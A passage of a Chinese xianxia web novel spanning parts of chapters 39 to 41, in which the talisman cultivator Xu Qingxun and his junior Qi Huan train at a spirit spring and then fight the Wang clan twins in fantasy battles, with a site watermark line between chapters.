王归至皱眉,显然是第一次听到这个名字,“祁姓……是西边的姓吧,并没有什么大家,想来是个普通人出生。” 话音未落,他更加咬牙切齿,因为这么个普通人出生杀他们主家弟子如入无人之境,简直奇耻大辱! “听说许家大少爷非常宠爱这个小师弟,总是带着他到处历练。这些年来……就连三玄宗的弟子都不知道祁桓的实力,直到今日的横空出世。” 闻言,王归至牙齿都要咬碎了,“什么意思,他们是故意拿我们王家作为扬名玄界的翘板?” 汇报的小修士立刻伏低身子,紧张而谨慎地道:“这、这小人不知。” 王归至冷哼一声,其实他也已经意识到了,能对付绝顶天才的唯有绝顶天才,再强大的法宝法符,也只是辅助而已。而他们家族之中,唯有两个人能对付他们。 那便是——大少爷与大小姐。 “终于还是到这步了吗。”王归至叹了口气,“罢了,我去请他们吧。” 法府内归于安静,而刚刚那位小修士险些吓死了自己- 洞府深处,灵气汇聚,如龙如蛇,惟妙惟肖。此处,当是第三层数一数二的修炼之地。 “你是说,许清浔来了吗。” “那个令父亲无比看重的天才?” 他们先后开口,明明是双胞胎,长相却差得很远,一人长相近妖,一人长相近仙,气质截然不同,唯一相同的是,两人都穿着紫袍,背绣龙纹,气宇不凡。 “有趣,当年他离家出走,去了三玄宗那么一个偏僻小地方后便销声匿迹,我还以为他要一直沉寂下去。” “终究还是不安分。也对,他那样的人,怎么可能一直沉寂。” 两人声音交叠,分为男女声,却有种微妙的重合感,仿佛出自一人之口,让人听着莫名感觉诡异。 男人转头,面无表情地问:“妹妹,许清浔交给我,可好?” 女人没有转头,同样面无表情道:“可以。那个无名之士就交给我吧。” 从始至终,王归至都没有敢插话。一直到出来之后,他才如释重负大口喘气。 “两位的实力又精进了,真不愧是王家万年以来屈指可数的绝顶天才。便是家主大人看好的许清浔,呵呵,也必输无疑!” 王归至冷笑连连。都说玄界有三足鼎立的万年世家,但在他心中,王家立于诸家之上,便是许家、李家,也没有资格比拟- 与此同时,两人连夜转移了法府。 “师兄,你又算到了什么。” “跟了我这么久,你还问这些?跟着师兄走就对了!” 青衣修士挥手,无数法符从袖口飞出,如灯笼一般悬在两排,远远地照亮了前路。 黑衣修士放眼望去,虽从不在乎景色,但也不禁感到了一丝诧异。 黑雾拨去,前方宛若桃林,风景如画,浮现出点点星光。 “好东西还在前面,牵着师兄的手,以防被迷阵分开了。” “……好。” 许清浔目标坚定,好像知道前方会有什么,兴致勃勃地开路。 祁桓跟在他身后,时而看着前方,时而看着他。 忽然,许清浔转头问,“师弟,你为何总是背着剑匣,收在储物戒里不好吗。” “顺手。”祁桓回答。 许清浔呆了呆,又仿佛懂了,低声碎念道:“不愧是工科男。” “你说了什么?”祁桓微微蹙眉。 “没没,我只是……啊,前天做了一个梦。”许清浔忽然转移话题。 “修士也会做梦吗。”祁桓的关注点不太寻常。 “当然会啊,算了,这不是重点,重点是梦里……你变成了一个毁天灭地的大变态。”许清浔语气有些激动。 “……是吗。”祁桓微微一顿。 许清浔闻言,暗暗地回头看了一眼,发现祁桓无动于衷,仿佛认为他说的是无稽之谈。 这家伙,竟如此自信? “然后呢。”祁桓忽然问。 许清浔下意识道:“什么然后?” “梦的然后。”祁桓淡淡道。 “这个嘛……”烂尾了。许清浔心想,至少在他看来,那是彻头彻尾的烂尾,辛苦造了一个世界,然后狠狠将其摔碎,充其量就是这么个事,简直看了个寂寞,但如今不得不改变想法。 他沉思一会,缓缓道:“然后你就真的毁天灭地了,而且感觉你相当乐在其中。” 祁桓感到莫名其妙,“师兄这个梦太诡异了,我为何要做这种事。” 许清浔心想,我就是在问你啊。 “谁知道呢,梦这种东西就是没头没尾的,我怎么知道为何?” 祁桓一愣,摇摇头道:“我绝不会有那个未来。” 他说得好像很笃定,许清浔一脸诧异,转头问:“为何如此笃定?” 祁桓转眸,定定地看着许清浔的眼睛。你就是原因,他心里想,但他却没有说出来。 怕那个人知道了,又会调戏他…… 许清浔等半天没等到祁桓开口,眼里闪过一丝失落。 那一丝失落清楚地映在了祁桓眼里。 祁桓立刻紧张起来,生怕“失落”下一步就会演变成“失望”,甚至导致那个人厌弃他、离他而去。 哪怕只是想到一丝可能性而已,他心中的占有欲便猛然爆发,瞬间侵袭了他的心神。 ——师兄是他的,只能是他的,必须是他的。 第40章 第四十章 险些被蛊晕了- 这家伙, 怎么又闷闷不乐了。 许清浔表面平静,实则从刚刚开始,就一直在观察祁桓的脸色。 祁桓不开心时脸色很沉,完全不吭声, 你想无视都难。他不太明白, 难道自己说错话了? 灵泉对面的男人垂眸不语, 气息十分压抑,虽然隔着一层水雾,但那股低气压再远都难忽视。 许清浔心想,好不容易带他来了如此高级的灵泉, 就没有一点话要说的吗? 算了, 还是修炼吧, 这样的地方不修炼实在浪费了。 他沉下心来, 面色立刻变了,全心全意投入修炼之中,吸收炼化至为纯粹的天地灵气,感悟大地规则的演变与更迭, 良久,他彻底抛除了杂念,整个人进入了一种玄之又玄的无我境界。 偌大的灵泉周围,数以万计的法符漂浮,里里外外围绕了六层,打造出了简单而有效的聚灵阵法, 能让阵眼的人修炼起来更为顺畅。 灵泉渐渐地起了动静,泉水仿佛沸腾了一般,但并没有水蒸气,也没有高温, 只是“沸腾”着。 这种修炼法,许清浔以前教过祁桓。 即,利用天地道场阴阳双修。 当然,说的并非是合欢宗那种双修,而是两人分别位于不同阵眼,同时催动修炼法,运功炼化天地灵气而已。 祁桓垂下双眸,看着沸腾的泉水,似有迟疑,最终还是接受了“双修”。他知道,就如师兄初次见面就给了他夫妻佩一样,对方……其实很多事情都没有想太多。 想太多的,自始至终只有他。 足足三个时辰过去,灵泉才终于停止了沸腾,双鱼图般的画面渐渐消失,一切归于宁静。 两人先后苏醒,各自收获不小。 许清浔眼睛一亮,心道走主角的路就是顺畅,啥机缘都是最顶级的! 他心情大好,很快忘记了之前的事,笑着喊道:“师弟,你感觉如何呀?” 对方显然才回过神,正在体会之中,但看周身的气息,大概快要突破了。 祁桓缓缓抬眸,对上许清浔的视线,“感觉很好,这里真是宝地。” 许清浔大笑,“跟着师兄走,上哪儿都有大宝地!” 祁桓停顿了下,“又是你引以为傲的卜算之术吗。” “当然当然!”许清浔更加自豪。虽然这都是多亏了信息差,但自豪一下又有何妨?你师兄可是帮你清扫了许多麻烦,比如这里也是你被一路追杀,意外掉进来的,哎,你怎么天天被追杀? “但我从未见过你用卜算之术。”祁桓冷不丁道。 许清浔面色一僵,“这个嘛,当然是在你不知道的时候,此术乃我许家秘术,不可轻易外传,别怪师兄藏私,师兄也没办法,不过……有朝一日,你会知道的。” “倒是不知道师兄竟如此守规则。”祁桓语气很轻,像是随口闲聊,尽管问的事情仿佛在试探许清浔。 许清浔一笑置之,从灵泉之中站起身来,“关于你的好师兄我啊,你不知道的事情可多了,日后慢慢了解便是,不着急不着急。” 他双眸通透,雪白的长发滑落下来,发尾浸在灵泉之中,薄薄的水雾没能完全遮挡住他的身子。 祁桓瞳孔一震,猝不及防地看到如此景色,思绪瞬间混乱起来,脸上也控制不住地浮现了一层薄红。他绝非好色之徒,再说了,这不过是男人的身体! 话虽如此,他却目不转睛,颤抖着往下移动视线。 许清浔刚要上地,忽然仿佛感觉到什么,心中惊道,师弟为何盯着我看,莫非在取笑我的白斩鸡体格?好家伙,过分了啊。 他立刻上地,几乎瞬间穿衣,道袍包裹得严严实实,除了脑袋以上片肤不露,端得肃穆严正,好像祭祀的巫子,神圣不可侵犯。 他意义不明地轻咳一声,“师兄也是有肌肉的,别小看我!” 有句话说欲盖弥彰,说的大概就是这种事。 祁桓抬眸,心想跟肉不肉无关,非要说的话,他师兄腰虽细,但看着还蛮有肉感。 许清浔突然红了脸,解释道:“那绝不是赘肉!修士怎么可能有赘肉?这简直是危言耸听!” 他不知道在胡乱解释什么,惊慌的样子反而让人……心弦拨动不止。 祁桓不禁心道,自己真是栽倒了。 许清浔看祁桓一言不发,内心七上八下,忽地眼神一变,转头看向远方。 “外面来了不速之客。” “嗯,我也感觉到了。”祁桓眉宇轻皱,露出了凝重之色。 这次的敌人比上次加起来强,任何一个都不是泛泛之辈。 “他们困在了天地迷阵之中,暂时找不到这里。不过我们若是出去,十有八九会碰见他们。”许清浔语气淡淡,忽然转头道:“师弟,你准备好了吗。” “还没,我尝试看看能不能突破。”祁桓平静道。 许清浔挑眉,“哦?那在此之前,交给师兄应对吧。” “不必,他们不是还困在迷阵之中吗。”祁桓看着许清浔的眼睛,仿佛在叫他不要冒险,目光透着几分严肃,因为这次的敌人真的非同一般。他感觉,即便是师兄出手,胜算也并非绝对。 许清浔顿了顿,似乎想纠正祁桓的看法,不过他转头一想,又笑了笑,“也对,师兄怎好意思剥夺师弟历练的机会,对面的其中一个,交给你来对付吧。” 祁桓直接问:“师兄完全不关心那王凰潜如何吗。” 许清浔侧首,反问道:“师兄需要关心?” 祁桓一愣,忽然笑了,“的确,师兄不需要关心,我也不用。” 许清浔眨了眨眼,感觉他这话有点怪,但又说不清是哪里怪。 “不过我要提醒你,这样算是与王家结了死结,师弟,你不怕吗。” “从未想过这个问题。”祁桓淡淡回答。 许清浔一顿。过了一会,他走出灵泉,留祁桓一人在其中修炼。 “从未想过这个问题?果真如此吗,你原来并不喜欢抛头露面吧。”许清浔忽然想到祁桓的魔人马甲,虽然这五年间都没有它的消息,但祁桓真的完全不用了吗? 原著中,祁桓喜欢本体隐身,用魔人马甲在外各种搅动风云,直到原著中后期才被人揭露,从此本体与魔人马甲合体。 而如今,事情已经发生了很大变动。虽是好事,但也值得担忧。 “无妨,我会护住你的,一定会。” 许清浔暗暗发誓,抬起双眸,眼神坚定。 几乎与此同时。 王归至皱了皱眉,“此地竟是一座天地迷阵,他们怎会来这种地方。” 王家作为万年世家,府中阵修的水平无须言说,但半个时辰过去了,在场的十位阵修仍旧没有一位成功破阵。 这绝不是一件寻常之事。 王归至低语道:“难道许家大少爷的阵法造诣比在场所有阵修还要厉害?”他不觉得祁桓会阵法,因为祁桓表现出来的能力明显在武斗上,显然是一个纯粹的武夫。 他身后的王腾飞面露不耐之色,显然起了一些火气,“让我们来,却连敌人都没找到,你们这是何意。” 王归至闻言后背发凉,连忙转身道:“很快,我们定会找到他们,请您稍微等一下。” 王腾飞皱眉,丝毫不掩饰眼中的鄙夷,冷道:“王归至,我父亲赐你王姓是为何,你不会忘记了吧。” “铭记于心,没齿难忘。”王归至低声下气,连忙恭维道:“我乃王家之仆,当为王家排忧解难!” 王腾飞冷哼了一声。在这一代人里面,除了他的胞妹,他谁都看不起,包括许清浔。一个符修而已,历史上从未有过符修无敌于一代的例子,大世更是不可能,各类修士之中,唯有炼体修士才是最强的。其他阵修、符修、丹修,都不过是体修的附庸陪衬而已,剑修?剑修也要靠边站。 说到这,他有些不明白,许清浔放着那么多道不选,为何偏偏选了符道这么鸡肋的道,别说王家,就算在许家内部,这也是个相当不入流的一道。 不过是玩符的而已,适合上街边卖艺。 思及此,王腾飞忽然想起了少年时曾经见过许清浔的一眼,他沉默了一下,更不禁心中讥笑,卖艺还不如卖身来的快。 他笑着,转头看向身旁,“对了妹妹,你对许清浔这人如何看待。” “不如何看待。”王凰潜冷漠道。 “父亲可是很希望你与他喜结良缘。”王腾飞轻笑一声。 “那又如何。”王凰潜面色淡淡,看不出任何情绪,即便站着等了半个时辰,也不见她有任何不耐,仿佛天生情感淡薄,任何事情都不入她心。 “我也是不理解父亲,他有什么好,再说了,为何不是他入赘我们王家?” 王腾飞笑容更深。 “父亲的心思难猜,也许他看到了表面之外的东西。”王凰潜表情不变,说话时,就连语气都完全没有起伏,比起真人,更像是人偶。 王腾飞嘴角一僵,暗道无趣,他这个妹妹从小如此,无趣透顶,与她说话,实属自找没趣。但他又不能说出口,气到了,只好转头喝斥道:“这个迷阵怎么还不解开,一群废物!” 王归至闻言虎躯一震,当即喝斥前面的阵修,“还不快解阵,大少爷发怒,你们都得死!” 远方,山岳之上,青衣飘扬。 “一群蠢货,我可都听见了。” 许清浔无聊地侧首,目光穿透迷阵,精准地落在了王家人身上。所有人在他眼里都清晰可见,除了王腾飞、王凰潜两个。他们身上有屏蔽感知的法宝,别说他此刻还在金丹期,就算到了元婴期,也感知不了他们两人的气机。 “看样子身上带了十几件防御法宝,这怕是连砍都费劲。” 许清浔眨了眨眼,忽地双眸深处浮现出道纹,同时双眸泛光,周围灵气皆汇聚其中。 原本模糊的那团气被他的视线看穿了,很快,两人清晰可见地出现在他眼里。 空间仍有些许扭曲,但问题不大。 “哦,这就是王腾飞?一脸欠揍样,拳头硬了。” 许清浔转头,目光落在王凰潜身上,停留了好一会,他才缓缓评价道:“的确非同寻常,原著的师弟究竟是如何杀掉她的。” 这么一个对手,如今的师弟碰上,恐怕胜算微小。所以他才要冒险突破吗。 “……” 许清浔陷入沉思,忽地听到一些动静,转头看向了水雾之中的灵泉。 “没有事吧。” 大地在震动,灵气的流动很不自然,带着一种不安的气息。 许清浔欲看进灵泉深处,却被一道声音阻挡在外。 “师兄不要过来,我自会突破。” 灵泉之中传来了一道虚弱而沙哑的声音,听着就令人担心。 许清浔皱了皱眉,凝眸远看,生怕自己看到一丝魔气。 良久,他喃喃道:“不管怎样,先布阵吧,对面不讲武德,咱们也没必要客气。” 许清浔淡淡一笑,长袖飘动,袖口飞出了几万张法符。它们飞舞如蝶,围绕在他左右,看似无秩序,实则有秩序,形成了一种阵法的结构。 他扫了一眼,随后坐在岩石上,长袖拂落在地。 “顺便炼制一些地品法符。” 此时,灵泉之中,灵气汹涌,好似无数头暴走的猛兽,到处乱窜,疯狂肆虐。 祁桓本一切顺利,奈何……它又出现了。 魔音震耳,穿刺神魂,那个可恨的经魔正在试图解开封印。 ——“桀桀桀,原来是他影响了你?” ——“你的师兄,嗯,是个不错的人类,但是他有好多秘密瞒着你,你觉得他是真心待你好吗?” 住嘴。祁桓当即呵斥,双眸冒着血光,好像被碰了逆鳞。 ——“你生气了?这是好事,但不应对我,而是对他。他可真是……深藏不露,我见过无数人类,但从未见过——” “胡言乱语,你以为我会听信你的话?” 祁桓怒了,再次忍不住呵斥。 经魔笑了笑,竟化作一丝魔气,出现在了祁桓面前。 “你不听我,却听他的,明明他才是欺骗你的人。”它嗤笑。 祁桓不答,干脆不理它,眼不见为净,全心投入修炼。 经魔只有一丝魔气,做不了什么事,见祁桓如此顽固,它倒也不生气,只觉得有趣。 嗯,非常有趣。 几乎与此同时,许清浔心中冒出了一股不祥的预感,当即转身盯着灵泉内的动静。 “师弟不会太冒险了吧。” 也是与此同时,迷阵之中,有人狂喜道:“找到了,这条路!阵眼就在前方!” 王归至眼睛大亮,连忙转身对王腾飞、王凰潜道:“大少爷、大小姐,人就在前面了。” 王腾飞展颜而笑,“走,去杀了他们。” 王凰潜默不作声。 迷雾滚滚,如同一座庞大的壁垒,却被瞬间洞穿,展开了一条大道。 察觉到那边的动静,许清浔转眸,面色瞬间冷了下来。 若是祁桓在,绝对会惊讶,因为许清浔从未在他面前露出如此冷漠的表情。 “时机太坏了。”他低声开口,却不知是说对方,还是在说他。 王归至等人启用飞行法宝,当即驾驶起了神舟。 迷雾似海,被它们轻而易举地乘风破开。 王腾飞站在前头,似乎远远看见了什么,嘴上高高上扬。 而王凰潜后他一步,自始至终不知在想什么。 王腾飞眉飞色舞,“今日之战,我定要让父亲知道,我才是年轻一辈的最强者,区区许清浔,不过是一个玩符丧志的庸才而已!” 神舟猛驰而过,如一柄利刃划掉云雾,眼看着就要到达灵泉的位置。 王归至面露喜色,甚至觉得,说不定自己都能让对方喝一壶。 却在下一刻,整张脸都绿了,难以置信地瞪大眼睛,叫喊道:“这、这是什么鬼东西?” 超速的飞剑群响起了震耳欲聋的恐怖音爆声,竟有数以几十万柄飞剑迎着他们攻来,每一柄飞剑都足以射杀一个筑基巅峰的强大修士! 比起质疑对方哪来如此多飞剑,更应该质疑的是,对方哪来的精神力同时释放出如此庞然的剑阵,且分毫不差地杀向了他们。 逃是逃不了了,只能被动迎击。 “防御!快给我撑起防御阵法!”王归至几乎在尖叫了。 这种规模的剑海攻击,足以活活轰死一个金丹巅峰! 可惜,他们的反应实在太迟了,剑海横扫而过,撕裂天空,当即命中神舟。 轰!防御法阵爆发出炽烈金光,却向薄膜一样被瞬间洞穿,没能减下剑海哪怕一丝的威能。 嘭—— 十个地品法宝发动,爆发出震天动地的强大威能,猛然迎向剑海。 神舟大震,仅此一此碰撞,便已经有十几人当场毙命,被飞剑击穿炸碎,尸骨无存。 王腾飞在前头,简直傻了眼,他清楚地看见,那不是普通飞剑,是符法剑,是符变化的剑,这种剑一般会在剑身上显化出符文。 可是,这怎么可能? 历史上符法天赋最强的修士在其金丹期最多也只能驱使一万张法符,而这已经极其惊艳了,足以打出一片剑雨,灭杀同阶修士于眨眼之间! 然而,眼前的根本不是剑雨,是海,是繁星。他从未见过如此荒唐的场面! 轰!十个地品法宝齐齐崩裂,其中一个直接光芒黯淡,砸落在地。 付出如此大的代价,眼前的攻势才终于减弱下来。 王归至右手被炸毁,面色全白,颤抖地失声道:“怪物……” 他从未见过如此强势的符修,抬手一挥就是数量如此庞大的法符,这、这实在过于奢侈了! 王腾飞紧握双拳,等到剑海散去,他才终于松了一口气,与此同时,他感到了羞耻,自己居然对许清浔感到了忌惮,这绝不能原谅! 就在这时,一道烈光骤现,带着森冷刺骨的杀意。 王腾飞一愣,突然感觉到了危机感。对面是一柄瞄准他头颅的地品飞剑! 他大惊失色,仓皇躲开,险些一屁股摔在了地上。 地品飞剑疾飞而过,炸坏了神舟后舱,一直穿过云雾,直到消失踪迹。 王腾飞脸上一道血痕浮现,鲜血滴落下来,伴随着他的愤怒与耻辱。他气得发抖,刚刚的那一刻,他居然怕了! 简直奇耻大辱! 他愤怒大喊:“许清浔,你令我道心蒙耻,我与你不共戴天!” 王归至一怔,当即恭维道:“大少爷不必担心,他用了这么多法符,肯定已经所剩无几了。” 王腾飞脸色这才好了一些。 许清浔远远闻言,轻笑了一声。 令那帮人心惊胆战的剑阵符,才只是他收藏中的一小部分而已。 师弟再不突破,他一个人杀光了怎么办? 他想着,笑容一僵,垂眸看着突然环抱在他腰上的手,面露诧异之色,紧接着,后背仿佛贴上了对方的胸膛,整个人都陷入了那男人的支配之下。 “师、师弟?” 只听,那男人在他耳边低语,仿佛是抱怨,又仿佛是恋人之间的情话。 “师兄……为何不等我。” 许清浔一呆,险些被蛊晕了。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 40-50 第41章 第四十一章 他强大又美好的师兄 小小师弟, 竟然偷袭师兄?! 许清浔回过神,面色泛起一片绯红,幽幽道:“你突破了吗?” “嗯。” 好家伙,又是低音炮, 许清浔听得心中酥酥麻麻, 险些晃了神, 还好把持住了,一本正经道:“一突破就调戏你师兄?” 祁桓微微一顿,这才放下环在许清浔腰上的手,悄然拉开一步距离。 许清浔转头, 立刻打量了一下祁桓, 目光自上而下, 缓慢而仔细。 “比起这个, 他们要过来了,师兄。”祁桓突然开口,目光望向拨开的云雾,带着一丝凝重。 “是要来了, 但我还是想……先看看你。”许清浔无动于衷,对他来说,显然祁桓的情况才更重要。 “是吗。”祁桓面色不变,目光渐渐抬起。 “你小子突破速度未免太快了吧。”许清浔琢磨着,忽然走近一步,似乎想要抓起祁桓的手。 祁桓不动声色地走前一步, “师兄,对面要打来了。” “嗯?”许清浔扭头。 只见,远方的云雾被强行驱散,一道黑影逐渐逼近, 一看就是那艘神舟的形状。 “王腾飞做事就是毛躁,完全经不起挑衅,一点就炸。”许清浔脱口而出,仿佛十分了解王腾飞。 “我来杀他吗。”祁桓开口就问,好似阎王点名,平静而威严。 虽然点的不是自己的名,但许清浔心里还是紧了一下。 他的好师弟什么都好,就是杀心太重了,能杀人解决的事情就杀人解决。当然,比起原著那个屠屠怪还是好多了。 许清浔想了想,道:“王腾飞跟你一样爱炼体,是个不折不扣的体修,何止如此,他还鄙视体修之外的所有修,是个极度自我的人,你刚突破便对上他这样的纯粹体修……倒也不是不行,就是……” 他心想,对上王腾飞总比对上王凰潜好,虽然王腾飞这人在某种程度上怪抽象的,算是大型嘲讽怪吧? 他们闲聊时,对面的神舟炸了又炸,核心的灵力炉都被炸毁了,舟上的人死的死、伤的伤,若非王腾飞、王凰潜坐镇,恐怕早已一片哀嚎。 王腾飞脸色黑得可怕,原以为那剑阵符只有一波,没想到半刻钟而已来了三波! 有他们两人出战,本应胜券在握,所以王归至也没有带太多法宝法符,哪里想到还没见到对方,中途就被连轰了三次。 “许清浔身上到底带了多少法符?”王腾飞骂骂咧咧,快要气急败坏。 与他对比,王凰潜好似一丝脾气都没有,她甚至还回望了一眼,意义不明道:“其他人也来了。” 闻言,王腾飞面色微变,冷哼道:“那些人来看戏的吧,一群废物,回头我也把他们都杀了。” 几乎同时,迷阵之外的修士表情各异。 王家这番行动并不隐秘,早就传遍了附近法府,各家各宗的修士都知道了。李家内部,甚至有人跑来问李长金怎么看,毕竟李长金是许清浔的师弟、祁桓的师兄。 但李长金似乎丝毫不担心,别人来问,他也只是说,许师兄和祁师弟吉人自有天相,自会没事。 此时,合欢宗的修士也聚集在迷阵附近,当中包括许清浔十分印象深刻的修士,李梦好。 李梦好容姿出众,只是站在那里而已,便引起了许多人的注意。但他对那些人毫无兴趣,目光一直落在迷阵深处,显然更在意远处绝顶天才之间的龙争虎斗。 许清浔放出的几十万飞剑不止攻击了王家的神舟,还摧毁了迷阵,导致外围的云雾彻底散去,肉眼也能看见里面的光景了。 他们在外围观,有幸目睹到了王家神舟的惨状,此时心中各有感慨。 李梦好低语道:“许清浔还未出手,便让王家如此狼狈,若是出手了,会发生什么事?” 他敬畏强者,向往强者,对暴力更是崇拜之至,许清浔的作风……实在合他的心意。只是为何,会有种莫名的熟悉感? 李梦好顿了顿,一时说不清自己心中的感觉,他应该是第一次见许清浔才对。 另一方,曾被许清浔暗中观察过的黝黑青年也在现场,他眼睛很亮,好像能自然发光,凡是与他对视的人都很印象深刻。 他笑了笑道:“到底胜负会如何呢。” 大多数人觉得王家会赢,可是王家赢了有什么意思? “许家大少爷是吗,真是一位奇人。” 此时,王腾飞站在神舟前,怒视前方,大骂道:“许清浔,今日我就要你死!” 许清浔远远看见了他,不看不知道,一看才知道,这神舟简直破烂到搞笑。所以,他没忍住笑出了声。 王腾飞于是更火大了,身边立刻浮现出了两尊大鼎,其中一尊仿佛吞吐着混沌气,只是投影而已,威压就足够骇人。 许清浔面色不变,转头道:“师弟,他交给你?” 祁桓点了点头。 而王腾飞闻言简直要爆炸,他堂堂王家少主,岂是你许清浔说让就让的! 王腾飞直接爆发了,然而只是一瞬间而已,面前突然迎来一道黑影,以及一道震耳欲聋的音爆声。 再然后,他消失在了原地。 王归至目瞪口呆,转头一看,十里开外刀光裂天,摧枯拉朽般斩灭了附近的林木。 “此人的实力竟然进步的如此之快?” 许清浔丝毫不意外,他转眸一看,天空爆发一阵阵强光,显然是两人已经开打了,而且打得无比激烈,难舍难分。 他收回视线,目光望向沉默不语的王凰潜,淡淡一笑,“我们以前见过吧。”他当年太过“目中无人”,只顾着卷卷卷,几乎无视光了身边的同龄人,好像王凰潜小时候曾经对他说过什么,但他一点记忆都没有。 王凰潜走出神舟,悬在高空之上,淡淡道:“以前见过一面,但你大概不记得了。” 许清浔露出诧异的眼神,“当时,你说了什么吗。” 王凰潜沉默,“没什么,只是问你,为何选择符道。” 许清浔一笑,似乎很多人好奇这件事,毕竟符道绝不是热门的道,大多数的无敌强者都出自体修、剑修,符修?那不是给人炼制法符的吗?往坏一点说,那就是工具人罢了。 但,他怎会做无用之事? 许清浔不予回答,转而问:“另外一件事,暗中杀害各地天才的人,是你吗。” 王凰潜终于变色,双眸抬起,有了些许的光亮。 她似乎是默认了这件事,没有辩驳。 气氛变了。 许清浔皱了皱眉,又问:“截杀我的,也是你的人吗。” 他说的是许如初绑架他回家路上所遇到的两人,当时他对祁桓说不必在意,他知道这背后是谁做的。 其答案是——王家的某一分支家系。 之所以是“某一”,是因为《醒红尘》书中并没有写出幕后黑手究竟是谁,只知道是王家的某一系做的,目的是消灭王家之外的天才。 而有趣的是,玄衍秘境之事后,猎杀天才之事就不再发生。 由此,咱们可以大胆猜测,有可能幕后黑手死在了玄衍秘境里,所以后来才没有了猎杀天才之事,那么谁最有嫌疑呢? 自然就是王凰潜。她是最有实力、且最有可能做到这件事的人。 但许清浔无法确定,才有了这么一问,没想到王凰潜如此坦荡,直接默认了。 许清浔面色更沉,“你为何要这么做?那些没有背景、没有护道人的乡野天才,就算崛起了,对你也造不成多大威胁,你为何一定要杀他们?” 王凰潜闻言,竟然笑了,仙人般的面孔透露出了残忍,双眸眯起,平淡道:“为何,纯粹是为了磨砺我的道而已,哪有什么理由?他们成为我的磨道石,应是他们的荣幸,你难道不觉得吗。” 许清浔眼神冷了,“可是面对我,你却没有亲自出手,而是派出了两位元婴大能。” “你不一样,我知道你很强。”王凰潜淡淡地笑,“不过,我倒是很意外,你怎会怀疑到我身上,我分明没有露出任何破绽,截杀你那日,他们也没有任何失误才对。” “很意外吗,谁让我有万能的卜算之术呢。”许清浔声音压低,袖中已经双拳紧握。 “但我不明白。”王凰潜盯着许清浔,“你的一切我都不明白。” 许清浔问:“什么不明白?” 王凰潜道:“你明明天赋超绝,却离家出走,去了一个小门小派,当然这或许是因为你不走寻常路,不想走家族给你安排的路,可你……为何要在意他们的死,那些所谓的乡野天才即便我不去杀,他们有朝一日也会死,我不过是提前结束了他们的人生,让他们不必去遭遇那些苦难,这不好吗?再者,他们虽死,但仍会活在我的道中,与我一同获得永生,这不好吗?” 许清浔听到一半就忍不住笑了。 王凰潜静静地盯着他,双眸泛着危险的紫光,“你为何发笑。” 许清浔低着眸,“为何?我也不知,或许是因为我实在没想到,你们居然能如此不把人命当回事,这也就算了,为何能如此理直气壮地把自己的行为说成为他人着想?” 他目光忽亮,好似突然明白了,“大概就是所谓的傲慢且无耻吗?” 王凰潜的表情彻底变了,“我原以为,你会是能够理解我的人。” “抬爱了。”许清浔双手插入袖中。 “可你难道不杀人吗,证道之路,本就该血流成河。”王凰潜盯着许清浔。 许清浔双眸一暗。 不折手段成仙,任一路血流成河,他曾见过一个人如此,但那个人……并不坦荡,也不理直气壮,从头到尾都很痛苦。 许清浔低语道:“我当然杀人,本质上与你并无不同,非要说区别的话,大概是杀的没你多,而且只杀欲杀我之人罢了。” 王凰潜沉默,最后摇了摇头,“看来你我之间只能存一个了。” 许清浔点头,“是,道之争,只有你死我活。” 话音刚落,两人同时消去身影,下一瞬,天空发生了规模庞然的大爆炸,巨量的法符展开,如同一朵铺天盖地的莲花,镇压了整个空间。 王归至骇然,失声道:“他,他怎么可能还有这么多法符!” 远方,目睹到如此规模的法符阵,李梦好瞪大了眼睛,好似被狠狠震撼到了。 “这就是纯粹的暴力碾压!” 轰! 天空的战斗快到肉眼根本无法辨别,就连远远旁观都难免被波及。 有人看见,青衣修士一手指天,一手指地,双手旋转,演化乾坤,那一刻,海量的法符爆出震天动地的恐怖威能,竟凭空形成了一个天品剑阵。 天品阵法是什么?那可是足以对付元婴修士,轰杀至神魂毁灭的阵法! 众人傻眼了。李梦好突然飞上前,好像死都要见证这一击。 “他的境界才是金丹初期,怎么可能编出这种级别的阵法。” 王归至汗流浃背,根本无法相信自己所看到的东西。 若是提前准备的也就算了,这可是当着所有人的面,在众目睽睽之下以法符为媒介编织而成的阵法。 历史上从未有人如此尝试过,不,是根本没人如此想过!金丹期的修士绝不可能有如此强大的精神力! 顶着天品剑王阵的恐怖威能,王凰潜面色变了,当即爆发出了全部实力,没有丝毫藏私。 另一方,山岳崩碎,王腾飞一拳挥出,灵力如海般沸腾。 他与祁桓激烈对战,未注意到远边的动静。他很愤怒,极其愤怒,他本要对付许清浔,奈何这个人突然冲了出来,将他一刀砍飞了! “许清浔的师弟祁桓是吧,刚刚突破就敢来对付我,真够大胆,杀了你,取你的人头去见许清浔倒是也不错。”王腾飞看着滚滚的烟尘,勾唇道:“不过也有可能他已经被我妹妹杀了,我妹妹这个人啊,看着沉默寡言,但生性比我还残忍,许清浔落在她手上,恐怕很难剩下全尸。” 突然,一道刀光闪过,烟尘散去,露出了一道颀长的身影。 祁桓道袍微损,似乎在方才的攻击下受了伤,脸色有些发白,身后的剑匣轻轻动摇,露出了三两刀柄。 王腾飞一看,更忍不住笑,继续道:“但这也无可奈何,谁让他非要修符道,这个道历史上从未出现过至尊强者,在任何历史时期都不过是我们体修的附庸陪衬,他堂堂许家大少爷,选择符道,真的不曾感觉丢脸吗?” 祁桓面无表情,看着王腾飞仿佛看着一个死人。 王腾飞乐了,仿佛非常享受这种激怒人的感觉,看到他人如同野兽般发狂发怒,他就会仿佛高人一等,有一种说不出的快感。 他嬉笑一声,“符修不过是一群玩纸片的,对他来说,玩艺还不如卖身来——” 然而,他还没来得及说完,面色骤然一变,浑身上下如坠冰窖,对方的杀意如同实质,瞬间刺进了他的骨髓,令他控制不住地抖了一抖。 眼前的男人,怎会突然间好似修罗下凡? 王腾飞一刹失神,下一瞬迎来的竟是狂风骤雨般的刀光。他大惊,当即抓拳轰去,身上爆发出几百张符文之力,体内的金丹疯狂运转,令体外仿佛覆盖上了一层金光罩,强悍无比,刀枪不摧。 刀光散去,砍得他拳头发麻。 他从未见过如此凌厉的刀法,没有章法,没有定式,只有切切实实的杀意! 他不怕任何人,但面对这种超乎常理的东西,难免感到了一丝忌惮。而更麻烦的是,对方的刀竟越砍越快,每一刀都比之前更快更重,裹挟着愈发惊人的刀意。 王腾飞心惊胆战,难以置信自己会被压着砍。他大怒,本命神通登时爆发,双拳覆上了螺旋劲力,每一击打出都扭曲了空间,若是打中肉身,毫无疑问会将人扭曲致死。 “看见了吗?这就是天品神通的威力!”王腾飞突然前扑,踩着鬼神莫测的步法绕过祁桓砍出的刀光轨迹,几乎要冲到祁桓面前,打出致命一击。 